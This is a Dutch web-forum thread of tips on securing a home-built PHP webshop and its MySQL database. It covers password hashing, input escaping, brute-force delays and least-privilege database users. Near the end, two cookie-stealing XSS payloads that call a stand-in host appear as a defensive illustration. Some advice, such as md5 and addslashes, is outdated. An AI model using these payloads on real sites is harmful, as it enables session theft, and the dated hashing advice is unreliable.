-codeer de wachtwoorden md5.
-maak een moeilijk te kraken password en username. dus niet als username kenzo maar 1jk0kl4fm6 hetzelfde doe je met een password.(dit is voor je DB)
-zet je DB niet op de zelfde server als je website(localhost)
Tomie, beperk jij je nou maar tot je eigen dagelijkse problemen..
Want beveiliging kan je dus totaal niet.
Zorg dat je addslashes() om alle dingen heen plant die je in de db pleurt.
je kan niet zomaar met 1 magische functie je website veilig maken. Je kan beter zorgen dat de structuur van je database zo in elkaar zit dat je al die rommel niet nodig hebt.
Daarbij helpt om zo veel mogelijk met numerieke parameterwaardes te werken. Dus in plaats van naar een profiel verwijzen met ?naam=jan gewoon ?id=3. Getallen hebben namelijk nooit een onverwachte speciale betekenis.
Alles is te kraken ;) De enigste manier om je wachtwoorden veiliger opteslaan is om zelf een kleine algoritme erachter te schrijven.
Bijv
sha1(md5(wachtwoord));
substring 1 tm 20
substring 25 tm 40
enz en die dan gaan husselen dus substring1 op plaats 4 en 2 op 1 enz. Op die manier is er als je database wordt gekraakt er geen wijs meer uit te worden.
gebruik nooit constructies als functie(functie()) om iets veiliger te maken. Dit maakt het cracken juist makkelijker.
Iedere verhashende functie heeft last van collisions. Dit zijn verschillende invoeren die dezelfde uitvoer hebben.
Wanneer je dus bijvoorbeeld 2 keer md5 over een string heen haalt krijg je het volgende.
Voor de uitvoer in de database zijn voor de laatste md5-berekening bijvoorbeeld 40 (Onzingetal, maar het is een voorbeeld). Voor iedere van die 40 invoeren zijn er dan bijvoorbeeld 40 invoeren. Er zijn dus opeens 1600 wachtwoorden goed voor die uitvoer.
Een manier die wel veiliger zou maken is door bijvoorbeeld md5(wachtwoord).sha1(wachtwoord). Wanneer iemand hier een collision probeert te vinden zal die een collision in md5 en tegelijk in sha1 moeten vinden.
edit: De computer moet dan wel weer toegang hebben tot die schijf. Maakt dus niet echt uit.
Kan er door bv een simpele code in de adresbalk iets worden gedaan, of bekeken, of is er toch heel wat werk voor nodig om alleen het aantal waardes in een database te vinden bijvoorbeeld?
Hoe makkelijk of moeilijk kunnen waardes worden bekeken?
Moeten zij waarden in de database plaatsen? Kunnen ze producten,... zien uit de database?
Indien ja, Dan moet je zorgen dat er geen UBBhacks, mysql-infections zijn. Indien dit mogelijk is is je website zo lek als een zeef anders wordt het al moeilijker.
Heb nog wel wat tips:
- zet je directory index uit, als mensen dus naar http://www.domein.nl/map/ gaan ze niet alle bestanden zien.
- maskeer welke webserver je hebt draaien, een portscan op port 80 zou normaal bijvoorbeeld Apache 2.xx teruggeven, dit is nog meer informatie voor een potentiele aanval.
- Als je software geschreven door andere gebruikt (phpbb ofzo.. ) zorg dan dat je de laatste versies hebt, er kunnen nou eenmaal lekken in worden gevonden.
- Als je invoer ook laat zien in je uitvoer, gooi er dan htmlentities overheen, zodat ze geen javascript of iets gaan invoeren.
Zitten dingen tussen die je misschien niet kan regelen, dat is dan jammer.
ik heb de code geheel zelf geschreven, dus weet niet of het dan zo makkelijk is.
@finduila: Zij moeten helemaal niets plaatsen in de database, alleen dingen bekijken (uit de database).
Verder kunnen zij wel dingen in de database toevoegen door op bestellen te klikken, maar dat is gewoon 1 knop, en verder kunnen ze geen tekst invoeren.
En hoe weet ik of UBBhacks en mysql-infections er zijn, of hoe ik ze kan verhelpen?
Probeer bruteforce tegen te gaan. Bijvoorbeeld:
- Maximaal 5x een verkeerd wachtwoord in 10 minuten.
- Na het drukken op de submit knop en voor het controleren van het wachtwoord een sleep() zetten bijv. sleep(1). Het kost de klant slechts één seconde extra. Maar een bruteforce attack erg veel tijd.
<?php
if(isset($_POST['submit']))
{
$username=blabla;
$password=md5(blabal);
sleep(1); //hier dus of nog eerder
$select=mysql_query() or die(mysql_error()); //hier dus checken enzo
//sessies zetten ezno
}
maak een aparte user voor mysql aan. één die alleen kan inserten, selecten en updaten.
en moet er dan al eens iets gedeleted worden, maak dan een extra kolom aan met een waarde 0 of 1
Hmmm, was die mens4ever niet geband ofzo?
Wel, in ieder geval, bij ALLES wat mensen IN je database stoppen, en dat er weer terug uit moet, zowieso een PHP.net: htmlentities of PHP.net: htmlspecialchars erover doen, ook bij gewone dinge zoals zoekopdrachten, test maar eens wat er gebeurt als je zoiets invuld:
<script>self.location.href='http://evil.site.com/stealcookies.php?cookie='+document.cookie;</script>
<!-- Denk maar niet, ik zet het gewoon als value van een input veld: -->
"></form><script>self.location.href='http://evil.site.com/stealcookies.php?cookie='+document.cookie;</script>